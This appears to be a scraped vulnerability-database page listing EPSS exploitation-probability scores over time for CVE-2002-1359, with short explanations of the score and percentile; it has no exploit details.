CVE-2002-1359 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	84.64%	–	–
2023-03-12	–	–	–	97.15%	–
2023-05-28	–	–	–	97.08%	–

2025-01-19	–	–	–	95.91%	–
2025-03-18	–	–	–	–	80.42%
2025-03-18	–	–	–	–	80.42,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
